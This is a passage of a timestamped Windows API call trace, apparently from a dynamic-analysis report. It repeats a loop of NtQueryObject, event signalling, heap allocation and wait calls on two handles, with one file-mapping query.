ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.545] ResetEvent (hEvent=0xe8) returned 1 [0057.545] SetEvent (hEvent=0xec) returned 1 [0057.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.545] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.545] ResetEvent (hEvent=0xe8) returned 1 [0057.545] SetEvent (hEvent=0xec) returned 1 [0057.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.545] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.546] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.546] ResetEvent (hEvent=0xe8) returned 1 [0057.546] SetEvent (hEvent=0xec) returned 1 [0057.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.546] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.546] ResetEvent (hEvent=0xe8) returned 1 [0057.546] SetEvent (hEvent=0xec) returned 1 [0057.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.546] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.546] ResetEvent (hEvent=0xe8) returned 1 [0057.546] SetEvent (hEvent=0xec) returned 1 [0057.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.546] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.546] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.547] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.547] GetFileType (hFile=0x170) returned 0x3 [0057.547] ResetEvent (hEvent=0xe8) returned 1 [0057.547] SetEvent (hEvent=0xec) returned 1 [0057.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.547] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.547] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.547] GetFileType (hFile=0x170) returned 0x3 [0057.547] ResetEvent (hEvent=0xe8) returned 1 [0057.547] SetEvent (hEvent=0xec) returned 1 [0057.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.547] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.547] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.547] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.547] GetFileType (hFile=0x170) returned 0x3 [0057.547] ResetEvent (hEvent=0xe8) returned 1 [0057.547] SetEvent (hEvent=0xec) returned 1 [0057.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.548] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.548] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.548] ResetEvent (hEvent=0xe8) returned 1 [0057.548] SetEvent (hEvent=0xec) returned 1 [0057.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.548] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.548] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.548] ResetEvent (hEvent=0xe8) returned 1 [0057.548] SetEvent (hEvent=0xec) returned 1 [0057.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.548] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.548] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.548] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.548] ResetEvent (hEvent=0xe8) returned 1 [0057.548] SetEvent (hEvent=0xec) returned 1 [0057.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.549] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.549] ResetEvent (hEvent=0xe8) returned 1 [0057.549] SetEvent (hEvent=0xec) returned 1 [0057.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.549] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.549] ResetEvent (hEvent=0xe8) returned 1 [0057.549] SetEvent (hEvent=0xec) returned 1 [0057.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.549] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.549] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.549] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.549] ResetEvent (hEvent=0xe8) returned 1 [0057.549] SetEvent (hEvent=0xec) returned 1 [0057.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.550] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.550] ResetEvent (hEvent=0xe8) returned 1 [0057.550] SetEvent (hEvent=0xec) returned 1 [0057.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.550] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.550] ResetEvent (hEvent=0xe8) returned 1 [0057.550] SetEvent (hEvent=0xec) returned 1 [0057.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.550] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.550] ResetEvent (hEvent=0xe8) returned 1 [0057.550] SetEvent (hEvent=0xec) returned 1 [0057.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.550] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.551] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.551] ResetEvent (hEvent=0xe8) returned 1 [0057.551] SetEvent (hEvent=0xec) returned 1 [0057.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.551] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.551] ResetEvent (hEvent=0xe8) returned 1 [0057.551] SetEvent (hEvent=0xec) returned 1 [0057.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.551] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.551] GetFileType (hFile=0x170) returned 0x3 [0057.551] ResetEvent (hEvent=0xe8) returned 1 [0057.551] SetEvent (hEvent=0xec) returned 1 [0057.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.551] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.552] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.552] GetFileType (hFile=0x170) returned 0x3 [0057.552] ResetEvent (hEvent=0xe8) returned 1 [0057.552] SetEvent (hEvent=0xec) returned 1 [0057.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.552] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.552] GetFileType (hFile=0x170) returned 0x3 [0057.552] ResetEvent (hEvent=0xe8) returned 1 [0057.552] SetEvent (hEvent=0xec) returned 1 [0057.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.552] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.552] ResetEvent (hEvent=0xe8) returned 1 [0057.552] SetEvent (hEvent=0xec) returned 1 [0057.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.553] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.553] ResetEvent (hEvent=0xe8) returned 1 [0057.553] SetEvent (hEvent=0xec) returned 1 [0057.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.553] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.553] ResetEvent (hEvent=0xe8) returned 1 [0057.553] SetEvent (hEvent=0xec) returned 1 [0057.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.553] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.553] GetFileType (hFile=0x170) returned 0x3 [0057.553] ResetEvent (hEvent=0xe8) returned 1 [0057.553] SetEvent (hEvent=0xec) returned 1 [0057.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.554] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.554] GetFileType (hFile=0x170) returned 0x3 [0057.554] ResetEvent (hEvent=0xe8) returned 1 [0057.554] SetEvent (hEvent=0xec) returned 1 [0057.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.554] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.554] ResetEvent (hEvent=0xe8) returned 1 [0057.554] SetEvent (hEvent=0xec) returned 1 [0057.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.554] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.554] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.554] ResetEvent (hEvent=0xe8) returned 1 [0057.554] SetEvent (hEvent=0xec) returned 1 [0057.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.555] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.555] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.555] ResetEvent (hEvent=0xe8) returned 1 [0057.555] SetEvent (hEvent=0xec) returned 1 [0057.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.555] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.555] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.555] ResetEvent (hEvent=0xe8) returned 1 [0057.555] SetEvent (hEvent=0xec) returned 1 [0057.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.555] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.555] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.555] ResetEvent (hEvent=0xe8) returned 1 [0057.555] SetEvent (hEvent=0xec) returned 1 [0057.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.556] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.556] ResetEvent (hEvent=0xe8) returned 1 [0057.556] SetEvent (hEvent=0xec) returned 1 [0057.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.556] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.556] ResetEvent (hEvent=0xe8) returned 1 [0057.556] SetEvent (hEvent=0xec) returned 1 [0057.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.556] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.556] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.556] ResetEvent (hEvent=0xe8) returned 1 [0057.556] SetEvent (hEvent=0xec) returned 1 [0057.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.557] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.557] ResetEvent (hEvent=0xe8) returned 1 [0057.557] SetEvent (hEvent=0xec) returned 1 [0057.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.557] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.557] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.557] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.557] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.557] ResetEvent (hEvent=0xe8) returned 1 [0057.557] SetEvent (hEvent=0xec) returned 1 [0057.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.557] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.557] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.557] ResetEvent (hEvent=0xe8) returned 1 [0057.557] SetEvent (hEvent=0xec) returned 1 [0057.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.558] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.558] ResetEvent (hEvent=0xe8) returned 1 [0057.558] SetEvent (hEvent=0xec) returned 1 [0057.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.558] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.558] ResetEvent (hEvent=0xe8) returned 1 [0057.558] SetEvent (hEvent=0xec) returned 1 [0057.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.558] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.558] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.559] ResetEvent (hEvent=0xe8) returned 1 [0057.559] SetEvent (hEvent=0xec) returned 1 [0057.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.559] WaitForMultipleObjects (nCount=0x2, 